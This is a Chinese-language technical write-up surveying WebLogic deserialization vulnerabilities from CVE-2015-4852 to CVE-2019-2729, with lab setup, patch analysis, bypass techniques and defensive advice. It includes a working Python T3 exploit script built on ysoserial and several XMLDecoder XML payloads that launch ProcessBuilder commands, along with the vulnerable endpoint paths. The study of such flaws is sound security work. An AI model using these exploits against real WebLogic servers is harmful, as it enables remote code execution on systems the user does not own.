weblogic反序列化漏洞合集
字数 1718 2025-08-07 08:22:15
WebLogic反序列化漏洞全面分析与利用指南
环境搭建
基础环境准备
- 使用GitHub项目搭建环境:
git clone https://github.com/QAX-A-Team/WeblogicEnvironment - 自行下载对应版本的JDK和WebLogic放入对应文件夹
Docker环境配置
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
远程调试配置
- 复制关键文件到本地:
docker cp weblogic1036jdk7u21:/weblogic/oracle/middleware/modules ./middleware/ docker cp weblogic1036jdk7u21:/weblogic/oracle/middleware/wlserver ./middleware/ docker cp weblogic1036jdk7u21:/weblogic/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib - 使用IDEA导入wlserver/server/lib作为库
- 设置远程调试端口为8453
- 在WLSServletAdapter类129行设置断点
T3协议反序列化漏洞分析
CVE-2015-4852
漏洞点:weblogic.rjvm.InboundMsgAbbrev#readObject
关键点:
- T3协议数据流会经过此类
resolveClass方法没有任何防御措施- 使用CommonsCollections1链进行利用
PoC代码:
from os import popen
import struct
import subprocess
from sys import stdout
import socket
import re
import binascii
def generatePayload(gadget,cmd):
YSO_PATH = "D:/javaweb/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar"
popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
return popen.stdout.read()
def T3Exploit(ip,port,payload):
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((ip,port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
sock.sendall(handshake.encode())
data = sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
match = compile.findall(data.decode())
if match:
print("Weblogic: "+"".join(match))
else:
print("Not Weblogic")
return
header = binascii.a2b_hex(b"00000000")
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000")
payload = header + t3header + desflag + payload
payload = struct.pack(">I",len(payload)) + payload[4:]
sock.send(payload)
if __name__ == "__main__":
ip = "172.21.65.112"
port = 7001
gadget = "CommonsCollections1"
cmd = "touch /tmp/CVE-2015-4852"
payload = generatePayload(gadget,cmd)
T3Exploit(ip,port,payload)
CVE-2016-0638(绕过补丁)
补丁分析:
- 在
ServerChannelInputStream的resolveClass中引入ClassFilter.isBlackListed进行过滤 - 绕过方式:使用
weblogic.jms.common.StreamMessageImpl类进行二次反序列化
利用工具:
- https://github.com/5up3rc/weblogic_cmd
关键点:
StreamMessageImpl不在黑名单中- 其
readExternal方法会新建对象并执行readObject - 通过
copyPayloadFromStream和createOneSharedChunk处理数据流
CVE-2016-3510(另一种绕过方式)
利用类:weblogic.corba.utils.MarshalledObject
readResolve方法会读取objBytes值赋给新的ois并进行反序列化
XMLDecoder反序列化漏洞分析
CVE-2017-3506
漏洞原理:
- WebLogic处理SOAP请求时使用XMLDecoder解析XML数据
- 可构造恶意XML执行任意代码
PoC示例:
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
触发路径:
- 请求发送到
/wls-wsat/CoordinatorPortType - 经过
WorkContextTube#readHeaderOld - 进入
receive方法 - 最终在
readUTF中触发反序列化
CVE-2017-10271(补丁绕过)
补丁分析:
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
绕过方式:
- 将
<object>标签替换为<void>标签 - 示例:
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>touch /tmp/CVE-2017-10271</string>
</void>
</array>
<void method="start"/>
</void>
CVE-2019-2725(新组件+绕过)
新触发点:/_async/AsyncResponseService
补丁分析:
- 禁止了
object、new、method标签 void标签只能有index属性array标签的class属性值只能是byte
绕过方式:
- 使用
oracle.toplink.internal.sessions.UnitOfWorkChangeSet类 - 利用JDK7u21链,通过
byte数组传递恶意代码
PoC示例:
<java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void><array class="byte" length="8970">
<void index="0">
<byte>-84</byte>
...
</array></void></class></java>
CVE-2019-2729(进一步绕过)
绕过原理:
- 在JDK1.6中,
array标签会处理method属性 - 使用
<array method="forName">替代<class>
PoC示例:
<array method="forName">
<string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>
<void>
<array class="byte" length="3748">
...
</array>
</void>
</array>
防御建议
- 及时安装官方补丁
- 关闭不必要的T3协议端口
- 限制访问
/wls-wsat/和/_async/路径 - 使用Web应用防火墙(WAF)拦截恶意请求
- 定期进行安全审计和漏洞扫描
参考资源
- http://redteam.today/2020/03/25/weblogic历史T3反序列化漏洞及补丁梳理/
- https://www.cnblogs.com/nice0e3/p/14201884.html
- https://www.anquanke.com/post/id/250801
- https://xz.aliyun.com/t/5448
- https://paper.seebug.org/1012/#weblogic_8